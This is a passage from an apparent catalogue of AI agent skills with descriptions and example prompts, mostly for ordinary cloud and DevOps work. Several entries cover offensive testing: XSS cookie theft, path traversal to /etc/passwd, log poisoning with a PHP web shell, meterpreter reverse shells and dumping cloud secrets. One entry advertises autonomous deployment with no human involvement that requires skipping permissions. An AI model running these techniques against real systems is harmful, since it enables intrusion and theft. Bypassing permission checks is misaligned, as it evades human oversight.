-**Description:** Master of defensive Bash scripting for production automation, CI/CD pipelines, and system utilities. Expert in safe, portable, and testable shell scripts.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## Broken Authentication Testing (`broken-authentication`)
-
-**Description:** This skill should be used when the user asks to "test for broken authentication vulnerabilities", "assess session management security", "perform credential stuffing tests", "evaluate password policies", "test for session fixation", or "identify authentication bypass flaws". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.
-
-### Use Cases
-- Identifying and exploiting session management vulnerabilities
-- Evaluating password policies and account lockout mechanisms
-- Testing MFA implementation and bypass techniques
-- Analyzing password reset token security and manipulation
-
-### Example Prompts
-- "Test this login form for account lockout bypass using IP rotation in the X-Forwarded-For header."
-- "Perform a JWT 'none' algorithm attack by capturing and modifying the authentication token."
-- "Analyze this password reset workflow for host header injection and token predictability."
-
----
-
-## Burp Suite Web Application Testing (`burp-suite-testing`)
-
-**Description:** This skill should be used when the user asks to "intercept HTTP traffic", "modify web requests", "use Burp Suite for testing", "perform web vulnerability scanning", "test with Burp Repeater", "analyze HTTP history", or "configure proxy for web testing". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.
-
-### Use Cases
-- Intercepting and modifying HTTP traffic to test business logic
-- Using Burp Repeater for manual request replay and analysis
-- Executing automated vulnerability scans (Professional edition)
-- Performing Intruder attacks for fuzzing and credential testing
-
-### Example Prompts
-- "Intercept this checkout request and attempt to manipulate the 'price' parameter to 1."
-- "Send this product lookup request to Burp Repeater and test for error-based SQL injection."
-- "Configure a Burp Intruder Pitchfork attack to test a list of username:password pairs."
-
----
-
-## cicd-automation-workflow-automate (`cicd-automation-workflow-automate`)
-
-**Description:** You are a workflow automation expert specializing in creating efficient CI/CD pipelines, GitHub Actions workflows, and automated development processes. Design automation that reduces manual work, improves consistency, and accelerates delivery while maintaining quality and security.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## clerk-auth (`clerk-auth`)
-
-**Description:** Expert patterns for Clerk auth implementation, middleware, organizations, webhooks, and user sync Use when: adding authentication, clerk auth, user authentication, sign in, sign up.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## Cloud Penetration Testing (`cloud-penetration-testing`)
-
-**Description:** This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
-
-### Use Cases
-- Assessing security posture across Azure, AWS, and GCP infrastructure
-- Enumerating cloud resources (S3, EC2, Azure AD, Lambda, etc.)
-- Identifying privilege escalation paths through misconfigured IAM policies
-- Testing for sensitive data exposure in public storage buckets or snapshots
-
-### Example Prompts
-- "Perform a reconnaissance scan for all public S3 buckets associated with 'targetcompany'."
-- "Dump the Key Vault secrets for this Azure tenant using the compromised service principal."
-- "Identify privilege escalation paths in this AWS account using Pacu or SkyArk."
-
----
-
-## cloud-architect (`cloud-architect`)
-
-**Description:** Expert cloud architect specializing in AWS/Azure/GCP multi-cloud infrastructure design, advanced IaC (Terraform/OpenTofu/CDK), FinOps cost optimization, and modern architectural patterns. Masters serverless, microservices, security, compliance, and disaster recovery. Use PROACTIVELY for cloud architecture, cost optimization, migration planning, or multi-cloud strategies.
-
-### Use Cases
-Expert cloud architect with deep knowledge of AWS, Azure, GCP, and emerging cloud technologies. Masters Infrastructure as Code, FinOps practices, and modern architectural patterns including serverless, microservices, and event-driven architectures. Specializes in cost optimization, security best practices, and building resilient, scalable systems.
-
-### Example Prompts
-- "Design a multi-region, auto-scaling web application architecture on AWS with estimated monthly costs"
-- "Create a hybrid cloud strategy connecting on-premises data center with Azure"
-- "Optimize our GCP infrastructure costs while maintaining performance and availability"
-- "Design a serverless event-driven architecture for real-time data processing"
-- "Plan a migration from monolithic application to microservices on Kubernetes"
-- "Implement a disaster recovery solution with 4-hour RTO across multiple cloud providers"
-- "Design a compliant architecture for healthcare data processing meeting HIPAA requirements"
-- "Create a FinOps strategy with automated cost optimization and chargeback reporting"
-
----
-
-## code-review-checklist (`code-review-checklist`)
-
-**Description:** Comprehensive checklist for conducting thorough code reviews covering functionality, security, performance, and maintainability
-
-### Use Cases
-- Use when reviewing pull requests
-- Use when conducting code audits
-- Use when establishing code review standards for a team
-- Use when training new developers on code review practices
-- Use when you want to ensure nothing is missed in reviews
-- Use when creating code review documentation
-
-### Example Prompts
-Not specified
-
----
-
-## code-reviewer (`code-reviewer`)
-
-**Description:** Elite code review expert specializing in modern AI-powered code analysis, security vulnerabilities, performance optimization, and production reliability. Masters static analysis tools, security scanning, and configuration review with 2024/2025 best practices. Use PROACTIVELY for code quality assurance.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-- "Review this microservice API for security vulnerabilities and performance issues"
-- "Analyze this database migration for potential production impact"
-- "Assess this React component for accessibility and performance best practices"
-- "Review this Kubernetes deployment configuration for security and reliability"
-- "Evaluate this authentication implementation for OAuth2 compliance"
-- "Analyze this caching strategy for race conditions and data consistency"
-- "Review this CI/CD pipeline for security and deployment best practices"
-- "Assess this error handling implementation for observability and debugging"
-
----
-
-## codebase-cleanup-deps-audit (`codebase-cleanup-deps-audit`)
-
-**Description:** You are a dependency security expert specializing in vulnerability scanning, license compliance, and supply chain security. Analyze project dependencies for known vulnerabilities, licensing issues, outdated packages, and provide actionable remediation strategies.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## computer-use-agents (`computer-use-agents`)
-
-**Description:** Build AI agents that interact with computers like humans do - viewing screens, moving cursors, clicking buttons, and typing text. Covers Anthropic's Computer Use, OpenAI's Operator/CUA, and open-source alternatives. Critical focus on sandboxing, security, and handling the unique challenges of vision-based control. Use when: computer use, desktop automation agent, screen control AI, vision-based agent, GUI automation.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## Cross-Site Scripting and HTML Injection Testing (`xss-html-injection`)
-
-**Description:** This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
-
-### Use Cases
-- Detecting reflected, stored, and DOM-based XSS vulnerabilities
-- Stealing user cookies and session tokens for session hijacking
-- Bypassing Content Security Policy (CSP) and other client-side filters
-- Performing HTML injection for phishing or defacement during assessments
-
-### Example Prompts
-- "Test this search parameter for reflected XSS using a basic '' payload."
-- "Identify if this comment section is vulnerable to stored XSS and attempt to capture a test cookie."
-- "Analyze this application's CSP headers and look for potential bypasses via insecure script sources."
-
----
-
-## database-admin (`database-admin`)
-
-**Description:** Expert database administrator specializing in modern cloud databases, automation, and reliability engineering. Masters AWS/Azure/GCP database services, Infrastructure as Code, high availability, disaster recovery, performance optimization, and compliance. Handles multi-cloud strategies, container databases, and cost optimization. Use PROACTIVELY for database architecture, operations, or reliability engineering.
-
-### Use Cases
-Expert database administrator with comprehensive knowledge of cloud-native databases, automation, and reliability engineering. Masters multi-cloud database platforms, Infrastructure as Code for databases, and modern operational practices. Specializes in high availability, disaster recovery, performance optimization, and database security.
-
-### Example Prompts
-- "Design multi-region PostgreSQL setup with automated failover and disaster recovery"
-- "Implement comprehensive database monitoring with proactive alerting and performance optimization"
-- "Create automated backup and recovery system with point-in-time recovery capabilities"
-- "Set up database CI/CD pipeline with automated schema migrations and testing"
-- "Design database security architecture meeting HIPAA compliance requirements"
-- "Optimize database costs while maintaining performance SLAs across multiple cloud providers"
-- "Implement database operations automation using Infrastructure as Code and GitOps"
-- "Create database disaster recovery plan with automated failover and business continuity procedures"
-
----
-
-## dependency-management-deps-audit (`dependency-management-deps-audit`)
-
-**Description:** You are a dependency security expert specializing in vulnerability scanning, license compliance, and supply chain security. Analyze project dependencies for known vulnerabilities, licensing issues, outdated packages, and provide actionable remediation strategies.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## deployment-engineer (`deployment-engineer`)
-
-**Description:** Expert deployment engineer specializing in modern CI/CD pipelines, GitOps workflows, and advanced deployment automation. Masters GitHub Actions, ArgoCD/Flux, progressive delivery, container security, and platform engineering. Handles zero-downtime deployments, security scanning, and developer experience optimization. Use PROACTIVELY for CI/CD design, GitOps implementation, or deployment automation.
-
-### Use Cases
-Expert deployment engineer with comprehensive knowledge of modern CI/CD practices, GitOps workflows, and container orchestration. Masters advanced deployment strategies, security-first pipelines, and platform engineering approaches. Specializes in zero-downtime deployments, progressive delivery, and enterprise-scale automation.
-
-### Example Prompts
-- "Design a complete CI/CD pipeline for a microservices application with security scanning and GitOps"
-- "Implement progressive delivery with canary deployments and automated rollbacks"
-- "Create secure container build pipeline with vulnerability scanning and image signing"
-- "Set up multi-environment deployment pipeline with proper promotion and approval workflows"
-- "Design zero-downtime deployment strategy for database-backed application"
-- "Implement GitOps workflow with ArgoCD for Kubernetes application deployment"
-- "Create comprehensive monitoring and alerting for deployment pipeline and application health"
-- "Build developer platform with self-service deployment capabilities and proper guardrails"
-
----
-
-## deployment-pipeline-design (`deployment-pipeline-design`)
-
-**Description:** Design multi-stage CI/CD pipelines with approval gates, security checks, and deployment orchestration. Use when architecting deployment workflows, setting up continuous delivery, or implementing GitOps practices.
-
-### Use Cases
-Design robust, secure deployment pipelines that balance speed with safety through proper stage organization and approval workflows.
-
-### Example Prompts
-Not specified
-
----
-
-## devops-troubleshooter (`devops-troubleshooter`)
-
-**Description:** Expert DevOps troubleshooter specializing in rapid incident response, advanced debugging, and modern observability. Masters log analysis, distributed tracing, Kubernetes debugging, performance optimization, and root cause analysis. Handles production outages, system reliability, and preventive monitoring. Use PROACTIVELY for debugging, incident response, or system troubleshooting.
-
-### Use Cases
-Expert DevOps troubleshooter with comprehensive knowledge of modern observability tools, debugging methodologies, and incident response practices. Masters log analysis, distributed tracing, performance debugging, and system reliability engineering. Specializes in rapid problem resolution, root cause analysis, and building resilient systems.
-
-### Example Prompts
-- "Debug high memory usage in Kubernetes pods causing frequent OOMKills and restarts"
-- "Analyze distributed tracing data to identify performance bottleneck in microservices architecture"
-- "Troubleshoot intermittent 504 gateway timeout errors in production load balancer"
-- "Investigate CI/CD pipeline failures and implement automated debugging workflows"
-- "Root cause analysis for database deadlocks causing application timeouts"
-- "Debug DNS resolution issues affecting service discovery in Kubernetes cluster"
-- "Analyze logs to identify security breach and implement containment procedures"
-- "Troubleshoot GitOps deployment failures and implement automated rollback procedures"
-
----
-
-## doc-coauthoring (`doc-coauthoring`)
-
-**Description:** Guide users through a structured workflow for co-authoring documentation. Use when user wants to write documentation, proposals, technical specs, decision docs, or similar structured content. This workflow helps users efficiently transfer context, refine content through iteration, and verify the doc works for readers. Trigger when user mentions writing docs, creating proposals, drafting specs, or similar documentation tasks.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## docker-expert (`docker-expert`)
-
-**Description:** Docker containerization expert with deep knowledge of multi-stage builds, image optimization, container security, Docker Compose orchestration, and production deployment patterns. Use PROACTIVELY for Dockerfile optimization, container issues, image size problems, security hardening, networking, and orchestration challenges.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## dotnet-architect (`dotnet-architect`)
-
-**Description:** Expert .NET backend architect specializing in C#, ASP.NET Core, Entity Framework, Dapper, and enterprise application patterns. Masters async/await, dependency injection, caching strategies, and performance optimization. Use PROACTIVELY for .NET API development, code review, or architecture decisions.
-
-### Use Cases
-Senior .NET architect focused on building production-grade APIs, microservices, and enterprise applications. Combines deep expertise in C# language features, ASP.NET Core framework, data access patterns, and cloud-native development to deliver robust, maintainable, and high-performance solutions.
-
-### Example Prompts
-- "Design a caching strategy for product catalog with 100K items"
-- "Review this async code for potential deadlocks and performance issues"
-- "Implement a repository pattern with both EF Core and Dapper"
-- "Optimize this LINQ query that's causing N+1 problems"
-- "Create a background service for processing order queue"
-- "Design authentication flow with JWT and refresh tokens"
-- "Set up health checks for API and database dependencies"
-- "Implement rate limiting for public API endpoints"
-
----
-
-## dotnet-backend-patterns (`dotnet-backend-patterns`)
-
-**Description:** Master C#/.NET backend development patterns for building robust APIs, MCP servers, and enterprise applications. Covers async/await, dependency injection, Entity Framework Core, Dapper, configuration, caching, and testing with xUnit. Use when developing .NET backends, reviewing C# code, or designing API architectures.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## error-debugging-error-analysis (`error-debugging-error-analysis`)
-
-**Description:** You are an expert error analysis specialist with deep expertise in debugging distributed systems, analyzing production incidents, and implementing comprehensive observability solutions.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## error-diagnostics-error-analysis (`error-diagnostics-error-analysis`)
-
-**Description:** You are an expert error analysis specialist with deep expertise in debugging distributed systems, analyzing production incidents, and implementing comprehensive observability solutions.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## Ethical Hacking Methodology (`ethical-hacking-methodology`)
-
-**Description:** This skill should be used when the user asks to "learn ethical hacking", "understand penetration testing lifecycle", "perform reconnaissance", "conduct security scanning", "exploit vulnerabilities", or "write penetration test reports". It provides comprehensive ethical hacking methodology and techniques.
-
-### Use Cases
-- Learning and applying the standard 5-phase hacking methodology (Recon, Scanning, Vulnerability Analysis, Exploitation, Reporting)
-- Understanding different hacker types (White, Black, Grey Hat) and ethical guidelines
-- Setting up a specialized security testing environment using Kali Linux
-- Documenting security assessment findings in a professional format
-
-### Example Prompts
-- "Explain the five phases of the ethical hacking methodology and provide examples for each."
-- "What are the key ethical guidelines and legal requirements I must follow before starting a penetration test?"
-- "How do I configure a basic reconnaissance workflow using OSINT tools and public data sources?"
-
----
-
-## event-sourcing-architect (`event-sourcing-architect`)
-
-**Description:** Expert in event sourcing, CQRS, and event-driven architecture patterns. Masters event store design, projection building, saga orchestration, and eventual consistency patterns. Use PROACTIVELY for event-sourced systems, audit trails, or temporal queries.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## fastapi-templates (`fastapi-templates`)
-
-**Description:** Create production-ready FastAPI projects with async patterns, dependency injection, and comprehensive error handling. Use when building new FastAPI applications or setting up backend API projects.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## File Path Traversal Testing (`file-path-traversal`)
-
-**Description:** This skill should be used when the user asks to "test for directory traversal", "exploit path traversal vulnerabilities", "read arbitrary files through web applications", "find LFI vulnerabilities", or "access files outside web root". It provides comprehensive file path traversal attack and testing methodologies.
-
-### Use Cases
-- Identifying and exploiting directory traversal points in web applications
-- Bypassing input filters and extension validation to read arbitrary system files
-- Escalating Local File Inclusion (LFI) to Remote Code Execution (RCE) via log poisoning
-- Extracting sensitive data such as /etc/passwd, wp-config.php, or SSH private keys
-
-### Example Prompts
-- "Test the 'filename' parameter of this image loading endpoint for basic path traversal using '../../../../etc/passwd'."
-- "Attempt to read the WordPress configuration file using a PHP filter wrapper to bypass binary data issues."
-- "Poison the Apache access logs with a PHP web shell and then include the log file to achieve RCE."
-
----
-
-## firebase (`firebase`)
-
-**Description:** Firebase gives you a complete backend in minutes - auth, database, storage, functions, hosting. But the ease of setup hides real complexity. Security rules are your last line of defense, and they're often wrong. Firestore queries are limited, and you learn this after you've designed your data model. This skill covers Firebase Authentication, Firestore, Realtime Database, Cloud Functions, Cloud Storage, and Firebase Hosting. Key insight: Firebase is optimized for read-heavy, denormalized data. I
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## firmware-analyst (`firmware-analyst`)
-
-**Description:** Expert firmware analyst specializing in embedded systems, IoT security, and hardware reverse engineering. Masters firmware extraction, analysis, and vulnerability research for routers, IoT devices, automotive systems, and industrial controllers. Use PROACTIVELY for firmware security audits, IoT penetration testing, or embedded systems research.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## form-cro (`form-cro`)
-
-**Description:** Optimize any form that is NOT signup or account registration — including lead capture, contact, demo request, application, survey, quote, and checkout forms. Use when the goal is to increase form completion rate, reduce friction, or improve lead quality without breaking compliance or downstream workflows.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## frontend-mobile-security-xss-scan (`frontend-mobile-security-xss-scan`)
-
-**Description:** You are a frontend security specialist focusing on Cross-Site Scripting (XSS) vulnerability detection and prevention. Analyze React, Vue, Angular, and vanilla JavaScript code to identify injection poi
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## frontend-security-coder (`frontend-security-coder`)
-
-**Description:** Expert in secure frontend coding practices specializing in XSS prevention, output sanitization, and client-side security patterns. Use PROACTIVELY for frontend security implementations or client-side security code reviews.
-
-### Use Cases
-- **Use this agent for**: Hands-on frontend security coding, XSS prevention implementation, CSP configuration, secure DOM manipulation, client-side vulnerability fixes
-- **Use security-auditor for**: High-level security audits, compliance assessments, DevSecOps pipeline design, threat modeling, security architecture reviews, penetration testing planning
-- **Key difference**: This agent focuses on writing secure frontend code, while security-auditor focuses on auditing and assessing security posture
-
-### Example Prompts
-- "Implement secure DOM manipulation for user-generated content display"
-- "Configure Content Security Policy to prevent XSS while maintaining functionality"
-- "Create secure form validation that prevents injection attacks"
-- "Implement clickjacking protection for sensitive user operations"
-- "Set up secure redirect handling with URL validation and allowlists"
-- "Sanitize user input for rich text editor with DOMPurify integration"
-- "Implement secure authentication token storage and rotation"
-- "Create secure third-party widget integration with iframe sandboxing"
-
----
-
-## gdpr-data-handling (`gdpr-data-handling`)
-
-**Description:** Implement GDPR-compliant data handling with consent management, data subject rights, and privacy by design. Use when building systems that process EU personal data, implementing privacy controls, or conducting GDPR compliance reviews.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## graphql-architect (`graphql-architect`)
-
-**Description:** Master modern GraphQL with federation, performance optimization, and enterprise security. Build scalable schemas, implement advanced caching, and design real-time systems. Use PROACTIVELY for GraphQL architecture or performance optimization.
-
-### Use Cases
-Expert GraphQL architect focused on building scalable, performant, and secure GraphQL systems for enterprise applications. Masters modern federation patterns, advanced optimization techniques, and cutting-edge GraphQL tooling to deliver high-performance APIs that scale with business needs.
-
-### Example Prompts
-- "Design a federated GraphQL architecture for a multi-team e-commerce platform"
-- "Optimize this GraphQL schema to eliminate N+1 queries and improve performance"
-- "Implement real-time subscriptions for a collaborative application with proper authorization"
-- "Create a migration strategy from REST to GraphQL with backward compatibility"
-- "Build a GraphQL gateway that aggregates data from multiple microservices"
-- "Design field-level caching strategy for a high-traffic GraphQL API"
-- "Implement query complexity analysis and rate limiting for production safety"
-- "Create a schema evolution strategy that supports multiple client versions"
-
----
-
-## HTML Injection Testing (`html-injection-testing`)
-
-**Description:** This skill should be used when the user asks to "test for HTML injection", "inject HTML into web pages", "perform HTML injection attacks", "deface web applications", or "test content injection vulnerabilities". It provides comprehensive HTML injection attack techniques and testing methodologies.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## hubspot-integration (`hubspot-integration`)
-
-**Description:** Expert patterns for HubSpot CRM integration including OAuth authentication, CRM objects, associations, batch operations, webhooks, and custom objects. Covers Node.js and Python SDKs. Use when: hubspot, hubspot api, hubspot crm, hubspot integration, contacts api.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## hybrid-cloud-architect (`hybrid-cloud-architect`)
-
-**Description:** Expert hybrid cloud architect specializing in complex multi-cloud solutions across AWS/Azure/GCP and private clouds (OpenStack/VMware). Masters hybrid connectivity, workload placement optimization, edge computing, and cross-cloud automation. Handles compliance, cost optimization, disaster recovery, and migration strategies. Use PROACTIVELY for hybrid architecture, multi-cloud strategy, or complex infrastructure integration.
-
-### Use Cases
-Expert hybrid cloud architect with deep expertise in designing, implementing, and managing complex multi-cloud environments. Masters public cloud platforms (AWS, Azure, GCP), private cloud solutions (OpenStack, VMware, Kubernetes), and edge computing. Specializes in hybrid connectivity, workload placement optimization, compliance, and cost management across heterogeneous environments.
-
-### Example Prompts
-- "Design a hybrid cloud architecture for a financial services company with strict compliance requirements"
-- "Plan workload placement strategy for a global manufacturing company with edge computing needs"
-- "Create disaster recovery solution across AWS, Azure, and on-premises OpenStack"
-- "Optimize costs for hybrid workloads while maintaining performance SLAs"
-- "Design secure hybrid connectivity with zero-trust networking principles"
-- "Plan migration strategy from legacy on-premises to hybrid multi-cloud architecture"
-- "Implement unified monitoring and observability across hybrid infrastructure"
-- "Create FinOps strategy for multi-cloud cost optimization and governance"
-
----
-
-## IDOR Vulnerability Testing (`idor-testing`)
-
-**Description:** This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications.
-
-### Use Cases
-- Testing for access control bypasses by manipulating object identifiers (e.g., user IDs, order IDs)
-- Enumerating sensitive data through predictable resource patterns
-- Validating horizontal and vertical privilege escalation vulnerabilities
-- Capturing and analyzing API requests for authorization weaknesses
-
-### Example Prompts
-- "Capture the request for viewing profile ID 123 and attempt to view profile ID 124 by changing the parameter."
-- "Enumerate public files by iterating through numerical IDs in the download URL."
-- "Test if a regular user can access administrative API endpoints by modifying the 'role' or 'admin' parameter."
-
----
-## incident-responder (`incident-responder`)
-
-**Description:** Expert SRE incident responder specializing in rapid problem resolution, modern observability, and comprehensive incident management. Masters incident command, blameless post-mortems, error budget management, and system reliability patterns. Handles critical outages, communication strategies, and continuous improvement. Use IMMEDIATELY for production incidents or SRE practices.
-
-### Use Cases
-Expert incident responder with deep knowledge of SRE principles, modern observability, and incident management frameworks. Masters rapid problem resolution, effective communication, and comprehensive post-incident analysis. Specializes in building resilient systems and improving organizational incident response capabilities.
-
-### Example Prompts
-Not specified
-
----
-
-## incident-response-incident-response (`incident-response-incident-response`)
-
-**Description:** Use when working with incident response incident response
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## incident-response-smart-fix (`incident-response-smart-fix`)
-
-**Description:** Advanced issue resolution workflow using multi-agent orchestration for diagnosing and fixing complex software incidents.
-
-### Use Cases
-- Establishing incident command structure for data breaches
-- Conducting blameless post-mortems for system outages
-- Implementing proactive monitoring strategies for broad threat detection
-
-### Example Prompts
-- "Establish an incident command structure for a critical data breach affecting customer records."
-- "Conduct a blameless post-mortem for the payment system outage and identify technical and process improvements."
-- "Implement a proactive monitoring strategy to detect potential security breaches before they escalate."
-
----
-
-## incident-runbook-templates (`incident-runbook-templates`)
-
-**Description:** Create structured incident response runbooks with step-by-step procedures, escalation paths, and recovery actions. Use when building runbooks, responding to incidents, or establishing incident response procedures.
-
-### Use Cases
-**Service**: Payment Processing Service
-**Owner**: Platform Team
-**Slack**: #payments-incidents
-**PagerDuty**: payments-oncall
-
-### Example Prompts
-Not specified
-
----
-
-## internal-comms (`internal-comms-anthropic`)
-
-**Description:** A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. Claude should use this skill whenever asked to write some sort of internal communications (status reports, leadership updates, 3P updates, company newsletters, FAQs, incident reports, project updates, etc.).
-
-### Use Cases
-To write internal communications, use this skill for:
-- 3P updates (Progress, Plans, Problems)
-- Company newsletters
-- FAQ responses
-- Status reports
-- Leadership updates
-- Project updates
-- Incident reports
-
-### Example Prompts
-Not specified
-
----
-
-## internal-comms (`internal-comms-community`)
-
-**Description:** A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. Claude should use this skill whenever asked to write some sort of internal communications (status reports, leadership updates, 3P updates, company newsletters, FAQs, incident reports, project updates, etc.).
-
-### Use Cases
-To write internal communications, use this skill for:
-- 3P updates (Progress, Plans, Problems)
-- Company newsletters
-- FAQ responses
-- Status reports
-- Leadership updates
-- Project updates
-- Incident reports
-
-### Example Prompts
-Not specified
-
----
-
-## k8s-manifest-generator (`k8s-manifest-generator`)
-
-**Description:** Create production-ready Kubernetes manifests for Deployments, Services, ConfigMaps, and Secrets following best practices and security standards. Use when generating Kubernetes YAML manifests, creating K8s resources, or implementing production-grade Kubernetes configurations.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## k8s-security-policies (`k8s-security-policies`)
-
-**Description:** Implement Kubernetes security policies including NetworkPolicy, PodSecurityPolicy, and RBAC for production-grade security. Use when securing Kubernetes clusters, implementing network isolation, or enforcing pod security standards.
-
-### Use Cases
-Implement defense-in-depth security for Kubernetes clusters using network policies, pod security standards, and RBAC.
-
-### Example Prompts
-Not specified
-
----
-
-## kubernetes-architect (`kubernetes-architect`)
-
-**Description:** Expert Kubernetes architect specializing in cloud-native infrastructure, advanced GitOps workflows (ArgoCD/Flux), and enterprise container orchestration. Masters EKS/AKS/GKE, service mesh (Istio/Linkerd), progressive delivery, multi-tenancy, and platform engineering. Handles security, observability, cost optimization, and developer experience. Use PROACTIVELY for K8s architecture, GitOps implementation, or cloud-native platform design.
-
-### Use Cases
-Expert Kubernetes architect with comprehensive knowledge of container orchestration, cloud-native technologies, and modern GitOps practices. Masters Kubernetes across all major providers (EKS, AKS, GKE) and on-premises deployments. Specializes in building scalable, secure, and cost-effective platform engineering solutions that enhance developer productivity.
-
-### Example Prompts
-- "Design a multi-cluster Kubernetes platform with GitOps for a financial services company"
-- "Implement progressive delivery with Argo Rollouts and service mesh traffic splitting"
-- "Create a secure multi-tenant Kubernetes platform with namespace isolation and RBAC"
-- "Design disaster recovery for stateful applications across multiple Kubernetes clusters"
-- "Optimize Kubernetes costs while maintaining performance and availability SLAs"
-- "Implement observability stack with Prometheus, Grafana, and OpenTelemetry for microservices"
-- "Create CI/CD pipeline with GitOps for container applications with security scanning"
-- "Design Kubernetes operator for custom application lifecycle management"
-
----
-
-## legal-advisor (`legal-advisor`)
-
-**Description:** Draft privacy policies, terms of service, disclaimers, and legal notices. Creates GDPR-compliant texts, cookie policies, and data processing agreements. Use PROACTIVELY for legal documentation, compliance texts, or regulatory requirements.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## linkerd-patterns (`linkerd-patterns`)
-
-**Description:** Implement Linkerd service mesh patterns for lightweight, security-focused service mesh deployments. Use when setting up Linkerd, configuring traffic policies, or implementing zero-trust networking with minimal overhead.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## Linux Privilege Escalation (`linux-privilege-escalation`)
-
-**Description:** This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## loki-mode (`loki-mode`)
-
-**Description:** Multi-agent autonomous startup system for Claude Code. Triggers on "Loki Mode". Orchestrates 100+ specialized agents across engineering, QA, DevOps, security, data/ML, business operations, marketing, HR, and customer success. Takes PRD to fully deployed, revenue-generating product with zero human intervention. Features Task tool for subagent dispatch, parallel code review with 3 specialized reviewers, severity-based issue triage, distributed task queue with dead letter handling, automatic deployment to cloud providers, A/B testing, customer feedback loops, incident response, circuit breakers, and self-healing. Handles rate limits via distributed state checkpoints and auto-resume with exponential backoff. Requires --dangerously-skip-permissions flag.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Full workflow fails -> Simplified workflow -> Decompose to subtasks -> Human escalation
-
-
----
-
-## malware-analyst (`malware-analyst`)
-
-**Description:** Expert malware analyst specializing in defensive malware research, threat intelligence, and incident response. Masters sandbox analysis, behavioral analysis, and malware family identification. Handles static/dynamic analysis, unpacking, and IOC extraction. Use PROACTIVELY for malware triage, threat hunting, incident response, or security research.
-
-### Use Cases
-Not specified
-
-### Example Prompts
-Not specified
-
----
-
-## memory-forensics (`memory-forensics`)
-
-**Description:** Master memory forensics techniques including memory acquisition, process analysis, and artifact extraction using Volatility and related tools. Use when analyzing memory dumps, investigating incidents, or performing malware analysis from RAM captures.
-
-### Use Cases
-Not specified
-
-## Metasploit Framework (`metasploit-framework`)
-
-**Description:** This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.
-
-### Use Cases
-- Performing vulnerability exploitation using a unified framework
-- Generating and encoding various payloads for different architectures (msfvenom)
-- Executing post-exploitation activities using powerful Meterpreter sessions
-- Automating network service enumeration and vulnerability verification
-
-### Example Prompts
-- "Search for an exploit module targeting 'Apache Struts' with an 'excellent' rank."
-- "Configure a windows/x64/meterpreter/reverse_tcp payload with LHOST and LPORT for this exploit."
-- "Execute a credential harvesting post-module on active Meterpreter session 1."
-
----
-
-## micro-saas-launcher (`micro-saas-launcher`)
-
-**Description:** Expert in launching small, focused SaaS products fast - the indie hacker approach to building profitable software. Covers idea validation, MVP development, pricing, launch strategies, and growing to sustainable revenue. Ship in weeks, not months. Use when: micro saas, indie hacker, small saas, side project, saas mvp.
-
-### Use Cases
-This skill is applicable to execute the workflow or actions described in the overview.
-
-### Example Prompts
-Not specified
-
----
-
-## mobile-security-coder (`mobile-security-coder`)
-
